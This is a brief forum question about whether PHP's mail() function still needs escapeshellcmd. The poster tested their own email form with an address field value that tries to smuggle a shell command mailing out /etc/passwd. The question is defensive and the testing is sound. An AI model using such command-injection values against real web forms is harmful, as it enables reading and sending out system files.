using escapeshellcmd with mail()

Is it still recommended it use the escapeshellcmd with the mail() function if I am not calling say sendmail directly?

I have tested my email form using the mail address of:
'--bla ; mail URL </etc/passwd'

but I only got the email i expected but with thr above line as the username.

I will probably still use the escapeshellcmd to be safe but would like to know why using the mail function does not exploit this vulnerability.